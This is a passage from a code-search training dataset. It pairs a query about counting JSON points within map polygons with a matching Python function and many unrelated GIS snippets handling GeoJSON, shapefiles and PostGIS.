like","value":["0.6282922","0.62614584","0.6177866","0.58757657","0.58594614","0.57724375","0.5746732","0.5704685","0.57044125","0.5677378","0.56272644","0.55792403","0.5492265","0.5476538","0.54143095","0.53428125","0.53372324","0.5313981","0.52794796","0.52559406","0.52483755","0.52481127","0.5225919","0.5224178","0.52220714","0.519711","0.51942855","0.5187383","0.518501","0.51816314","0.51800543","0.5156469","0.515558","0.5147742","0.5146779","0.5140265","0.51097417","0.5090214","0.5087977","0.5086501","0.50756586","0.50738883","0.50674397","0.5065477","0.5056807","0.50408417","0.5039241","0.5032128","0.50221235","0.5016679","0.49889144","0.49874416","0.49859783","0.49849167","0.4980578","0.49776125","0.49672025","0.49635583","0.49620658","0.49584997","0.4957754","0.495636","0.49550074","0.49506974","0.4941559","0.493412","0.49152303","0.48926648","0.48910707","0.48859543","0.48850706","0.48765603","0.48756367","0.4873289","0.48717886","0.48708814","0.4867492","0.48632222","0.48624584","0.48452702","0.48432407","0.48431498","0.48420683","0.4841967","0.4834889","0.48289135","0.48288995","0.4814725","0.48135772","0.4809855","0.48067725","0.48055238","0.47958773","0.47920036","0.4789747","0.47774297","0.47768155","0.47750914","0.47728708","0.47694635"],"string":"[\n \"0.6282922\",\n \"0.62614584\",\n \"0.6177866\",\n \"0.58757657\",\n \"0.58594614\",\n \"0.57724375\",\n \"0.5746732\",\n \"0.5704685\",\n \"0.57044125\",\n \"0.5677378\",\n \"0.56272644\",\n \"0.55792403\",\n \"0.5492265\",\n \"0.5476538\",\n \"0.54143095\",\n \"0.53428125\",\n \"0.53372324\",\n \"0.5313981\",\n \"0.52794796\",\n \"0.52559406\",\n \"0.52483755\",\n \"0.52481127\",\n \"0.5225919\",\n \"0.5224178\",\n \"0.52220714\",\n \"0.519711\",\n \"0.51942855\",\n \"0.5187383\",\n \"0.518501\",\n \"0.51816314\",\n \"0.51800543\",\n \"0.5156469\",\n \"0.515558\",\n \"0.5147742\",\n \"0.5146779\",\n \"0.5140265\",\n \"0.51097417\",\n \"0.5090214\",\n \"0.5087977\",\n \"0.5086501\",\n \"0.50756586\",\n \"0.50738883\",\n \"0.50674397\",\n \"0.5065477\",\n \"0.5056807\",\n \"0.50408417\",\n \"0.5039241\",\n \"0.5032128\",\n \"0.50221235\",\n \"0.5016679\",\n \"0.49889144\",\n \"0.49874416\",\n \"0.49859783\",\n \"0.49849167\",\n \"0.4980578\",\n \"0.49776125\",\n \"0.49672025\",\n \"0.49635583\",\n \"0.49620658\",\n \"0.49584997\",\n \"0.4957754\",\n \"0.495636\",\n \"0.49550074\",\n \"0.49506974\",\n \"0.4941559\",\n \"0.493412\",\n \"0.49152303\",\n \"0.48926648\",\n \"0.48910707\",\n \"0.48859543\",\n \"0.48850706\",\n \"0.48765603\",\n \"0.48756367\",\n \"0.4873289\",\n \"0.48717886\",\n \"0.48708814\",\n \"0.4867492\",\n \"0.48632222\",\n \"0.48624584\",\n \"0.48452702\",\n \"0.48432407\",\n \"0.48431498\",\n \"0.48420683\",\n \"0.4841967\",\n \"0.4834889\",\n \"0.48289135\",\n \"0.48288995\",\n \"0.4814725\",\n \"0.48135772\",\n \"0.4809855\",\n \"0.48067725\",\n \"0.48055238\",\n \"0.47958773\",\n \"0.47920036\",\n \"0.4789747\",\n \"0.47774297\",\n \"0.47768155\",\n \"0.47750914\",\n \"0.47728708\",\n \"0.47694635\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.74269277"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14489,"cells":{"query":{"kind":"string","value":"Appends a new column named 'field_name' to map_data. The data is read from json_file. Flag single_point_per_zone set True, will only read a single count per polygon."},"document":{"kind":"string","value":"def addJsonFileToMapData(json_file, field_name, map_data, single_point_per_zone=False):\n # Read the json file\n json_data = pd.io.json.read_json(json_file)\n json_data['points'] = json_data.apply(lambda row: Point(row.coords), axis=1)\n\n # Loop over all polygons in the map.\n poly_counts = []\n for polygon in map_data['poly']:\n counts = 0\n # Loop over all points in the json data.\n for point_count in json_data[['points', 'count']].values:\n point = point_count[0]\n count = point_count[1]\n if polygon.contains(point):\n counts += float(count)\n if single_point_per_zone:\n break\n poly_counts.append(counts)\n map_data = pd.merge(map_data,\n pd.DataFrame({'poly': map_data['poly'],\n field_name: poly_counts}),\n on='poly')\n\n return map_data"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def geojson2postgis(self, filepath, table_name, geo_type):\n map_data = gpd.GeoDataFrame.from_file(filepath)\n # Maybe you want to change link address\n link = \"postgresql://{0}:{1}@{3}:5432/{2}\".format(self.username, self.password, self.dbname, self.host)\n engine = create_engine(link, encoding='utf-8')\n map_data = self.dict_to_json(map_data)\n map_data['geometry'] = map_data['geometry'].apply(lambda x: WKTElement(x.wkt, 4326))\n # Maybe you want to change 'replace' to 'append' in the future\n map_data.to_sql(\n name=table_name,\n con=engine,\n if_exists='replace',\n dtype={'geometry': Geometry(geometry_type=geo_type, srid=4326)}\n )","def _parse_and_store_geojson(filename):\n ds = DataSource(filename)\n _sanity_check_datasource(ds)\n\n logger.info('Data file %s was opened', ds.name)\n lm = LayerMapping(WegStuk, ds, MAPPING)\n\n with transaction.atomic():\n WegStuk.objects.all().delete()\n lm.save(strict=True, verbose=False)\n\n logger.info('Travel time dataset was updated.')","def add_geo_shape(self, field, point, distance):\n from haystack.utils.geo import ensure_point, ensure_distance\n self.geo_shape = {\n 'field': field,\n 'point': ensure_point(point),\n 'distance': ensure_distance(distance),\n }","def array2D_to_geoJson(geoJsonFileName, array2d,\n layerName=\"BuildingID\",fieldName=\"BuildingID\"):\n \n memdrv = gdal.GetDriverByName('MEM')\n src_ds = memdrv.Create('', array2d.shape[1], array2d.shape[0], 1)\n band = src_ds.GetRasterBand(1)\n band.WriteArray(array2d)\n\n drv = ogr.GetDriverByName(\"geojson\")\n dst_ds = drv.CreateDataSource(geoJsonFileName)\n dst_layer = dst_ds.CreateLayer(layerName, srs=None)\n\n fd = ogr.FieldDefn(fieldName, ogr.OFTInteger)\n dst_layer.CreateField(fd)\n dst_field = 0\n\n gdal.Polygonize(band, None, dst_layer, dst_field, [], callback=None)\n \n return True","def to_geojson(self, filename, varname='data'):\n\n geojsondata = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [lon, lat],\n },\n \"properties\": {\"field\": field, \"weight\": weight},\n } for lon, lat, field, weight in zip(self.x, self.y, self.field, self.weight)]\n }\n\n try:\n with open(os.path.join(filename), 'w') as f:\n f.write(\"\".join((\"var \", varname, \" = \")))\n out = json.dumps(geojsondata, indent=2, separators=(',', ': '))\n f.write(out)\n\n except FileNotFoundError:\n logger.error(\"Directory {} does not exist\".format(os.path.basename(filename)))\n raise FileNotFoundError('Directory does not exist')","def save_to_geojson(self, topology_map, filename):","def populateNewFields(nadPoints):\n with arcpy.da.UpdateCursor(nadPoints,\n ['SHAPE@X', 'SHAPE@Y', 'longitude', 'latitude', 'Source'],\n spatial_reference=arcpy.SpatialReference(4326)) as cursor:\n for row in cursor:\n row[2] = row[0]\n row[3] = row[1]\n row[4] = 'Utah AGRC'\n cursor.updateRow(row)","def emptyGeoJson( filename):\r\n\r\n filename = dataDir + filename\r\n with open(filename) as data_file:\r\n gjdata = json.load(data_file)\r\n\r\n gjdata['features'] = []\r\n\r\n with open(filename, \"w\") as outfile:\r\n json.dump(gjdata, outfile)","def geo_split(file_geo1):\n with open(file_geo1, 'r') as inp, open(new_geo_out, 'w') as outp:\n json_decode = json.load(inp)\n result = []\n for loca in json_decode:\n lat_lon = loca['geo'].split(\",\")\n result.append({\n \"ipv4\": loca[\"ipv4\"],\n \"lat\": lat_lon[0],\n \"lon\": lat_lon[1]\n })\n data = json.dumps(result)\n outp.write(data)\n with open(new_geo_out, 'r') as f:\n geosplit = json.load(f)\n return geosplit","def newColumn (layer,FieldName,DataType):\n # Check if field already exists\n if layer.fields().indexFromName(FieldName)==-1:\n caps = layer.dataProvider().capabilities()\n if caps & QgsVectorDataProvider.AddAttributes:\n res = layer.dataProvider().addAttributes([QgsField(FieldName,DataType)])\n print(\"New field \\\"{}\\\" added\".format(FieldName))\n # Update to propagate the changes\n layer.updateFields()\n else:\n print(\"Field \\\"{}\\\" already exists.\".format(FieldName))","def createEmptyMapData():\n with open('data/taxzone.json', 'r') as f:\n taxzones = json.load(f)\n\n polygons_shape = [shape(feature['geometry']) for feature in taxzones['features']]\n names = [feature['properties']['id'] for feature in taxzones['features']]\n map_data = pd.DataFrame({'poly': polygons_shape, 'id': names})\n\n return map_data","def writeGeoJson(self, file):\n with open(file, 'w') as f:\n json.dump(self._geojson, f)","def to_geojson(self, filename, varname='results', levels=None):\n\n llon, llat = np.meshgrid(self.x, self.y)\n contoursfield = cntr.Cntr(llon, llat, self.analysis)\n if levels is None:\n # By default we represent 10 levels from min to max\n levels = np.linspace(self.analysis.min(), self.analysis.max(), 10)\n\n geojsonfield = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"MultiPolygon\",\n \"coordinates\": [[[[lon, lat] for lon, lat in seg] for seg in\n contoursfield.trace(level)[:len(contoursfield.trace(level)) // 2]]],\n },\n \"properties\": {\"field\": str(level)},\n } for level in levels]\n }\n\n try:\n with open(os.path.join(filename), 'w') as f:\n f.write(\"\".join((\"var \", varname, \" = \")))\n out = json.dumps(geojsonfield, indent=2, separators=(',', ': '))\n f.write(out)\n\n except FileNotFoundError:\n logger.error(\"Directory {} does not exist\".format(os.path.basename(filename)))\n raise FileNotFoundError('Directory does not exist')","def add_geojson(map, geojson, style_function, name='states' ):\n\n folium.GeoJson(\n geojson,\n name=name,\n style_function=style_function\n ).add_to(map)","def map_csv_fields(self):\n etod_csv_fields = {\n 'ctry_id': None,\n 'obst_identifier': None,\n 'obst_name': None,\n 'lon_src': None,\n 'lat_src': None,\n 'agl': None,\n 'amsl': None,\n 'vert_uom': None,\n 'hor_acc': None,\n 'hor_acc_uom': None,\n 'vert_acc': None,\n 'vert_acc_uom': None,\n 'obst_type': None,\n 'lighting': None,\n 'marking': None,\n 'is_group': None,\n }\n\n for field in etod_csv_fields:\n try:\n etod_csv_fields[field] = etod_map[self.ctry_short_name]['fields'][field]\n except KeyError:\n etod_csv_fields[field] = None\n\n self.field_map = etod_csv_fields","def prepare(dp: frictionless.package.Package, name: str):\n data = read_datapackage(dp)\n data[\"fid\"] = name + \"_\" + data[ID].astype(str)\n\n spatial = gpd.GeoDataFrame(\n data[\"fid\"],\n columns=[\"fid\"],\n geometry=gpd.points_from_xy(data.longitude, data.latitude),\n crs=\"EPSG:4326\",\n )\n\n # Other fields to json\n def np_encoder(object):\n \"\"\"Source: https://stackoverflow.com/a/65151218.\"\"\"\n if isinstance(object, np.generic):\n return object.item()\n\n other_cols = [\n x for x in data.columns if x not in VALUE_VARS + SPATIAL_VARS + ID_VARS\n ]\n\n # Int64 to int\n data.loc[:, other_cols].loc[:, data[other_cols].dtypes == \"int64\"] = (\n data.loc[:, other_cols].loc[:, data[other_cols].dtypes == \"int64\"].astype(int)\n )\n data = data.replace({np.nan: None})\n data[\"fields\"] = data[other_cols].to_dict(orient=\"records\")\n data[\"fields\"] = data[\"fields\"].apply(lambda x: json.dumps(x, default=np_encoder))\n\n # Unpivoting\n data = data.melt(id_vars=ID_VARS, value_vars=VALUE_VARS)\n\n # Remove nan\n data = data.dropna()\n\n # Conversion\n enermaps_data = utilities.ENERMAPS_DF\n enermaps_data[\"fid\"] = data[\"fid\"]\n enermaps_data[\"value\"] = data[\"value\"]\n enermaps_data[\"variable\"] = data[\"variable\"]\n enermaps_data[\"fields\"] = data[\"fields\"]\n enermaps_data[\"unit\"] = UNIT\n enermaps_data[\"israster\"] = ISRASTER\n\n return enermaps_data, spatial","def _fast_append_profile_in_gdf(geodataframe, raster_path, force_crs_match=True):\n\n _check_presence_of_crs(geodataframe)\n if force_crs_match:\n with rio.open(raster_path) as raster:\n geodataframe = geodataframe.to_crs(crs=raster.crs.data)\n else:\n warnings.warn(\n \"The GeoDataFrame is not being reprojected. The clipping might be being performing on unmatching polygon to the raster.\"\n )\n\n zonal_gjson = rs.zonal_stats(\n geodataframe, raster_path, prefix=\"Type_\", geojson_out=True, categorical=True\n )\n\n zonal_ppt_gdf = gpd.GeoDataFrame.from_features(zonal_gjson)\n\n return zonal_ppt_gdf","def __geo_interface__(self):\r\n if HASARCPY:\r\n template = {\r\n \"type\": \"FeatureCollection\",\r\n \"features\": []\r\n }\r\n geom_type = self.geometry_type\r\n if geom_type.lower() == \"point\":\r\n geom_type = \"Point\"\r\n elif geom_type.lower() == \"polyline\":\r\n geom_type = \"LineString\"\r\n elif geom_type.lower() == \"polygon\":\r\n geom_type = \"Polygon\"\r\n df_copy = self.copy(deep=True)\r\n df_copy['geom_json'] = self.geometry.JSON\r\n df_copy['SHAPE'] = df_copy['geom_json']\r\n del df_copy['geom_json']\r\n for index, row in df_copy.iterrows():\r\n geom = row['SHAPE']\r\n del row['SHAPE']\r\n template['features'].append(\r\n {\"type\" : geom_type,\r\n \"geometry\" : pd.io.json.loads(geom),\r\n \"attributes\":row}\r\n )\r\n return pd.io.json.dumps(template)","def _add_field_feature_dtype(self, field_path, field_feature_dtype):\n feature_dtype_str = json.dumps(field_feature_dtype.descr)\n dtypes_grp = self._h5['{}/{}'.format(SETTINGS, FIELD_FEATURE_DTYPES_STR)]\n dtypes_grp.create_dataset(field_path, data=feature_dtype_str)","def make_map(filename, datadir):\n items = json.load(open(filename))\n geojson_items = []\n for item in items:\n geojson_items.append(get_linestring(item))\n with open(os.path.join(datadir, 'waze.geojson'), 'w') as outfile:\n geojson.dump(geojson.FeatureCollection(geojson_items), outfile)","def writeCountryCodeFile(self):\n try:\n geojson = requests.get(self.GEOJSON_URL).json()\n except:\n sys.exit('GeoJSON data unavailable at source.')\n \n country_mapping = {}\n for country in geojson['features']:\n iso_2 = country['properties']['ISO_A2']\n country_name = country['properties']['ADMIN']\n country_mapping.update({country_name: iso_2})\n \n with open('countryNameISO2.json', 'w') as file:\n json.dump(country_mapping, file)","def write_geojson(vec:gpd.GeoDataFrame, dest):\n\t\tdest = str(dest)\n\n\t\t# WGS 84\n\t\t#vec = vec.to_crs({'init': 'epsg:4326'})\n\n\t\tif os.path.isfile(dest):\n\t\t\tos.remove(dest)\n\t\t\t\n\t\tvec.to_file(dest, driver='GeoJSON', encoding='utf-8')","def load_from_geojson(self, filename_or_url):","def get_geojson(self, sql, context):\n result = self.db.query(sql).getresult()\n geo_objects = []\n\n for poly in result:\n poly = poly[0]\n geo_objects.append(geojson.Feature(geometry=geojson.loads(poly)))\n\n crs = {\n \"type\": \"name\",\n \"properties\": {\n \"name\": \"EPSG:\" + str(context[\"crs\"])\n }\n }\n collection = geojson.FeatureCollection(geo_objects, crs=crs)\n\n return {\n 'type': 'result',\n 'result': geojson.dumps(collection)\n }","def addproperties_json(source, mortspd):\n with open(source, encoding=\"utf-8\",mode=\"r\") as f: # load boundaries\n boundaries = json.load(f)\n \n\n for regionBoundary in boundaries['features']: # get nb murdered by region\n del regionBoundary['properties']['admin1Pcod']\n del regionBoundary['properties']['admin1RefN']\n \n regionBoundary['properties']['Departement'] = regionBoundary['properties']['admin1Name']\n \n currentRegion = regionBoundary['properties']['Departement']\n if currentRegion in mortspd:\n regionBoundary['properties']['Morts'] = mortspd[currentRegion]\n \n else: \n regionBoundary['properties']['Morts'] = 0 \n continue\n return boundaries","def create_map(data_file):\n\n\t# Define a type of GeoJSON\n\tgeo_map = {\"type\": \"FeatureCollection\"}\n\t# Define list to collect each point to graph\n\titem_list = []\n\n\t# Iterate over our data to create GeoJSON doc\n\tfor index, line in enumerate(data_file):\n\t\t# Skip any zero coordinates\n\t\tif line['X'] == '0' or line['Y'] == '0':\n\t\t\tcontinue\n\t\t# New dict for every iteration\n\t\tdata = {}\n\t\t# Assign line items to json fields\n\t\tdata['type'] = 'Feature'\n\t\tdata['id'] = index\n\t\tdata['properties'] = {'title': line['Category'],\n\t\t 'description': line['Descript'],\n\t\t 'date': line['Date']}\n\t\tdata['geometry'] = {'type': 'Point',\n\t\t 'coordinates': (line['X'], line['Y'])}\n\t\t# Add data dict to our itemlist\n\t\titem_list.append(data)\n\n\t# for each point in our item list we add a point to dict\n\tfor point in item_list:\n\t\tgeo_map.setdefault('features', []).append(point)\n\t# write a file, upload to gist.github.com\n\twith open('file_sf.geojson', 'w') as f:\n\t\tf.write(geojson.dumps(geo_map))","def data_geojson(self):\n coordinates = self.value\n if not coordinates:\n return\n\n title = getattr(self.context, 'title', '') or ''\n description = getattr(self.context, 'description', '') or ''\n\n geo_json = {\n 'type': 'FeatureCollection',\n 'features': [\n {\n 'type': 'Feature',\n 'properties': {\n 'popup': u'<h3>{0}</h3><p>{1}</p>'.format(\n safe_unicode(title),\n safe_unicode(description)\n )\n },\n 'geometry': {\n 'type': 'Point',\n 'coordinates': [\n coordinates[1], # lng\n coordinates[0] # lat\n ]\n }\n },\n ]\n }\n\n if self.mode == 'input':\n properties = geo_json['features'][0]['properties']\n properties['editable'] = True\n properties['no_delete'] = True\n properties['latinput'] = u'#{0}'.format(self.id_input_lat)\n properties['lnginput'] = u'#{0}'.format(self.id_input_lng)\n\n return json.dumps(geo_json)","def add_property(path, key, value):\n with open(path) as fp:\n features = geojson.loads(fp.read())\n\n for feature in features.features:\n feature.properties[key] = value\n\n with open(path, 'w') as fp:\n fp.write(geojson.dumps(features))","def test_write_json_object_properties():\n data = \"\"\"\n{\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": [\n [\n [\n 87.33588,\n 43.53139\n ],\n [\n 87.33588,\n 45.66894\n ],\n [\n 90.27542,\n 45.66894\n ],\n [\n 90.27542,\n 43.53139\n ],\n [\n 87.33588,\n 43.53139\n ]\n ]\n ]\n },\n \"type\": \"Feature\",\n \"properties\": {\n \"upperLeftCoordinate\": {\n \"latitude\": 45.66894,\n \"longitude\": 87.91166\n },\n \"tricky\": \"{gotcha\"\n }\n }\n ]\n}\n\"\"\"\n data = Feature.from_dict(**json.loads(data)[\"features\"][0])\n tmpdir = tempfile.mkdtemp()\n filename = os.path.join(tmpdir, \"test.json\")\n with fiona.open(\n filename,\n \"w\",\n driver=\"GeoJSON\",\n schema={\n \"geometry\": \"Polygon\",\n \"properties\": {\"upperLeftCoordinate\": \"str\", \"tricky\": \"str\"},\n },\n ) as dst:\n dst.write(data)\n\n with fiona.open(filename) as src:\n ftr = next(iter(src))\n props = ftr[\"properties\"]\n assert props[\"upperLeftCoordinate\"][\"latitude\"] == 45.66894\n assert props[\"upperLeftCoordinate\"][\"longitude\"] == 87.91166\n assert props[\"tricky\"] == \"{gotcha\"","def geojson_zillow_fc(rows):\n feature_collection = []\n for row in rows:\n if row[2] == \"Boston\":\n f = Feature(geometry=Polygon(\\\n [parse_zillow_coordinates(row[6])]),\n id = row[4],\n properties={\"state\": str(row[0]),\n \"county\": str(row[1]),\n \"city\": str(row[2]),\n \"neighborhood\": \\\n str(row[3]),\n \"regionid\": str(row[4]),\n \"total_potins\": \\\n str(row[5]),\n \"mean_interior_score\": \\\n row[7],\n \"sd_interior_score\":\\\n row[8],\n \"max_int_score\":\\\n row[9],\n \"min_int_score\":\\\n row[10],\n \"region_property_count\":\\\n row[11],\n \"projectedfor2018\":\\\n row[17],\n })\n feature_collection.append(f)\n\n else:\n print(\"City: {}\".format(row[2]))\n\n fc = FeatureCollection(feature_collection)\n return fc","def _initialize_geospatial_data(self):\n driver = ogr.GetDriverByName(\"ESRI Shapefile\")\n\n bnd_src = driver.Open(self._spatial_filename, 0)\n bnd_lyr = bnd_src.GetLayer()\n (self.spatial_index,\n self.spatial_feats,\n self.bison_spatial_fields\n ) = self._create_spatial_index(bnd_lyr)","def make_features(self, gdb, fc_name, fields, rows):\n point_geotoken = \"SHAPE@XY\"\n other_geotoken = \"SHAPE@\"\n now = GeoJSONUtils.timestamp()\n stats = []\n\n if len(rows[0]) > 0:\n point_rows = rows[0]\n point_fc_name = fc_name + now + '_p'\n point_fc = GeoJSONUtils.make_fc(self, gdb, point_fc_name, fields, point_rows, \"POINT\", point_geotoken)\n stats.append(point_fc)\n if len(rows[1]) > 0:\n line_rows = rows[1]\n line_fc_name = fc_name + now + '_l'\n line_fc = GeoJSONUtils.make_fc(self, gdb, line_fc_name, fields, line_rows, \"POLYLINE\", other_geotoken)\n stats.append(line_fc)\n if len(rows[2]) > 0:\n poly_rows = rows[2]\n poly_fc_name = fc_name + now + '_a'\n poly_fc = GeoJSONUtils.make_fc(self, gdb, poly_fc_name, fields, poly_rows, \"POLYGON\", other_geotoken)\n stats.append(poly_fc)\n return stats","def _add_field_feature_shape(self, field_path, field_feature_shape):\n shapes_grp = self._h5['{}/{}'.format(SETTINGS, FIELD_FEATURE_SHAPES_STR)]\n shapes_grp.create_dataset(field_path, data=np.array(field_feature_shape))","def add_poly_features(data, columns, degree=2):\n\n if degree != 2:\n print('Only works w/2 degrees right now...')\n return\n\n for col in columns:\n new_col = col + '_poly' + str(degree)\n data[new_col] = np.nan\n data[[col, new_col]] = poly(data[col], degree=degree)\n\n return data","def load_geolocation_data():\n client = MongoClient(f'mongodb://{os.getenv(\"USR_\")}:{os.getenv(\"PWD_\")}@{os.getenv(\"REMOTE_HOST\")}:{os.getenv(\"REMOTE_PORT\")}/{os.getenv(\"AUTH_DB\")}')\n db = client[os.getenv(\"MAIN_DB\")]\n lk_collection = db[\"lkdata\"]\n data = pd.DataFrame(list(lk_collection.find()))\n data = data[[\"fields\"]]\n data = pd.concat([pd.DataFrame(data), pd.DataFrame(list(data[\"fields\"]))], axis=1).drop(\"fields\", 1)\n data[\"cca_2\"] = pd.to_numeric(data[\"cca_2\"])\n return data","def to_geojson_feature(self, proj, output_grids=False):\n json_features = []\n for t, time in enumerate(self.times):\n feature = {\"type\": \"Feature\",\n \"geometry\": {\"type\": \"Polygon\"},\n \"properties\": {}}\n boundary_coords = self.boundary_contour(time)\n lonlat = np.vstack(proj(boundary_coords[0], boundary_coords[1], inverse=True))\n lonlat_list = lonlat.T.tolist()\n feature[\"geometry\"][\"coordinates\"] = [lonlat_list]\n if output_grids:\n for attr in [\"timesteps\", \"masks\", \"x\", \"y\", \"i\", \"j\"]:\n feature[\"properties\"][attr] = getattr(self, attr)[t].tolist()\n lon_grid, lat_grid = proj(self.x[t], self.y[t], inverse=True)\n feature[\"properties\"][\"lon\"] = lon_grid.tolist()\n feature[\"properties\"][\"lat\"] = lat_grid.tolist()\n if type(time) in [int, np.int32, np.int64]:\n feature[\"properties\"][\"valid_time\"] = int(time)\n else:\n feature[\"properties\"][\"valid_time\"] = str(time)\n feature[\"properties\"][\"centroid_lon\"], \\\n feature[\"properties\"][\"centroid_lat\"] = proj(*self.center_of_mass(time), inverse=True)\n json_features.append(feature)\n return json_features","def save_data_json(self, location, data_map, *, key=None, fields=None, key_join='name_en'):\n location = self.get_data_path(location)\n result = data_map.extract(key=key, fields=fields, key_join=key_join)\n with open(location, 'w', encoding='utf-8') as f:\n json.dump(result, f, indent=4, ensure_ascii=False)","def GetSqlData2(select,bycolumn=True):\n #connect to database and execute sql and retrieve data\n conn,cur = ConnectDb()\n cur.execute(select)\n fields = [d.name for d in cur.description]\n\n data = cur.fetchall()\n if len(data)==0:return None\n\n #print N.c_[fields,data[0]]\n\n if bycolumn:\n data = zip(*data)\n #print fields, len(data),len(data[0]),data[0][0] \n dic = {}\n while fields:\n field = fields.pop(0)\n \n #IF DATA IS GEOM OR GEOG\n if re.search('geog|geom',field,re.IGNORECASE):\n #print field, len(data),len(data[0]),data[0][0]\n geoms = data.pop(0)\n dic[field] = [ppygis.Geometry.read_ewkb(poly) for poly in geoms]\n if hasattr(dic[field][0], 'polygons'):\n #print dir()\n outerring = dic[field][0].polygons[0].rings.pop(0)\n dic['outer'] = [[point.x,point.y] for point in outerring.points]\n dic['inner'] = [[[point.x,point.y] for point in ring.points] for ring in dic[field][0].polygons[0].rings]\n #dic[field][0].polygons[0].rings[0].points]\n elif hasattr(dic[field][0], 'x'):\n dic['x'] = [item.x for item in dic[field]]\n dic['y'] = [item.y for item in dic[field]]\n else:dic[field] = N.array(data.pop(0))\n \n return dic\n else:\n lst = [] \n while data:\n dic = {}\n row = data.pop(0)\n \n for i,field in enumerate(fields):\n \n #IF DATA IS GEOM OR GEOG\n if re.search('geog|geom',field,re.IGNORECASE):\n #print 'here'\n dic[field] = ppygis.Geometry.read_ewkb(row[i])\n #if hasattr(dic[field], 'polygons'):\n outerring = dic[field].polygons[0].rings.pop(0)\n dic['outer'] = [[point.x,point.y] for point in outerring.points]\n dic['inner'] = [[[point.x,point.y] for point in ring.points] for ring in dic[field].polygons[0].rings]\n #elif hasattr(dic[field], 'x'):\n # dic['x'] = [item.x for item in dic[field]]\n # dic['y'] = [item.y for item in dic[field]]\n\n elif type(row[i]) == list or type(row[i]) == tuple:\n dic[field] = N.array(row[i])\n else:\n dic[field] = row[i]\n lst.append(dic)\n return lst","def addTimeAndDateObs(layer):\n #Create field for storing time of observation\n newColumn (layer,\"Ob_Time\", QVariant.String)\n #Create field for storing date of observation\n newColumn (layer,\"Ob_Date\", QVariant.String)\n # Empty objects for storing the updates\n updates_time = {}\n updates_date = {}\n indexT=layer.fields().indexFromName('Ob_Time')\n indexD=layer.fields().indexFromName('Ob_Date')\n print(\"STARTING LOOP!\")\n for feat in layer.getFeatures():\n # Get the date time value from the gpx\n date_time = feat['timestamp']\n date_time_obj = datetime.datetime.strptime(date_time,'%Y-%m-%d %H:%M:%S')\n time = date_time_obj.strftime(\"%H:%M:%S\")\n date = date_time_obj.strftime(\"%Y-%m-%d\")\n # Update the empty fields in the shapefile\n updates_time[feat.id()] = {indexT:time}\n updates_date[feat.id()] = {indexD:date}\n #print(updates)\n\n # Use the created dictionary to update the field for all features\n layer.dataProvider().changeAttributeValues(updates_time)\n layer.dataProvider().changeAttributeValues(updates_date)\n # Update to propagate the changes\n layer.updateFields()\n print(\"Time and date fields populated.\")","def geocode(df, col):\r\n pass","def map_new_kreise(self, merged, csv_map_file):\n kreis_jsonkreis_map = pd.read_csv(csv_map_file, names= ['List_Kreise', 'Geojson_Kreise'])\n merged['Kreis'].map(kreis_jsonkreis_map)\n\n #TODO manually add corrected city names, make sure map goes through correctly\n return merged\n\n\n\n\n\n #TODO change the name on krb_df's kreise\n #TODO merge krb_df and ort_kreis_df inner join on kreis, check that it all goes through","def mapdata():\n return getmapdata(db, MyTable)","def add_Longhurst_Province_raster_to_array(ds):\n import geopandas\n from rasterio import features\n from affine import Affine\n # Get the shape files\n provinces = geopandas.read_file('/work/home/ts551/data/longhurst_v4_2010')\n shapes = [(shape, n) for n, shape in enumerate(provinces.geometry)]\n # Now add the existing array\n ds_tmp = ds[list(ds.data_vars)[0]].copy().mean(dim='time')\n # Add raster the provinces onto this\n ds_tmp['LonghurstProvince'] = rasterize(shapes, ds_tmp.coords)\n # Then update the variable\n ds['LonghurstProvince'] = ds_tmp['LonghurstProvince']\n # Add Some attributes\n attrs = {\n 'Long name': 'Longhurst Provinces',\n 'data downloaded from': 'http://www.marineregions.org/downloads.php#longhurst',\n 'version': 'Version 4 - March 2010',\n 'Citations': \"Longhurst, A.R et al. (1995). An estimate of global primary production in the ocean from satellite radiometer data. J. Plankton Res. 17, 1245-1271 ; Longhurst, A.R. (1995). Seasonal cycles of pelagic production and consumption. Prog. Oceanogr. 36, 77-167 ; Longhurst, A.R. (1998). Ecological Geography of the Sea. Academic Press, San Diego. 397p. (IMIS) ; Longhurst, A.R. (2006). Ecological Geography of the Sea. 2nd Edition. Academic Press, San Diego, 560p.\",\n }\n ds['LonghurstProvince'].attrs = attrs\n return ds","def to_geojson(self, filename, proj, metadata=None):\n if metadata is None:\n metadata = {}\n json_obj = {\"type\": \"FeatureCollection\", \"features\": [], \"properties\": {}}\n json_obj['properties']['times'] = self.times.tolist()\n json_obj['properties']['dx'] = self.dx\n json_obj['properties']['step'] = self.step\n json_obj['properties']['u'] = self.u.tolist()\n json_obj['properties']['v'] = self.v.tolist()\n for k, v in metadata.items():\n json_obj['properties'][k] = v\n for t, time in enumerate(self.times):\n feature = {\"type\": \"Feature\",\n \"geometry\": {\"type\": \"Polygon\"},\n \"properties\": {}}\n boundary_coords = self.boundary_polygon(time)\n lonlat = np.vstack(proj(boundary_coords[0], boundary_coords[1], inverse=True))\n lonlat_list = lonlat.T.tolist()\n if len(lonlat_list) > 0:\n lonlat_list.append(lonlat_list[0])\n feature[\"geometry\"][\"coordinates\"] = [lonlat_list]\n for attr in [\"timesteps\", \"masks\", \"x\", \"y\", \"i\", \"j\"]:\n feature[\"properties\"][attr] = getattr(self, attr)[t].tolist()\n feature[\"properties\"][\"attributes\"] = {}\n for attr_name, steps in self.attributes.items():\n feature[\"properties\"][\"attributes\"][attr_name] = steps[t].tolist()\n json_obj['features'].append(feature)\n file_obj = open(filename, \"w\")\n json.dump(json_obj, file_obj, indent=1, sort_keys=True)\n file_obj.close()\n return","def add_data(self, file_name: str, fabricated_count: dict) -> None:\n\n assert file_name not in self._meta_data_dict, \"Error, filename has already been used.\"\n\n self._meta_data_dict[file_name] = fabricated_count","def get_geojson():\n\n # check the file was already downloaded\n global GEOJSON\n if GEOJSON: return GEOJSON\n\n conn = None\n cur = None\n try:\n\n conn = utils.pgconnect(**settings.DEFAULT_CONNECTION)\n cur = conn.cursor()\n cur.execute( 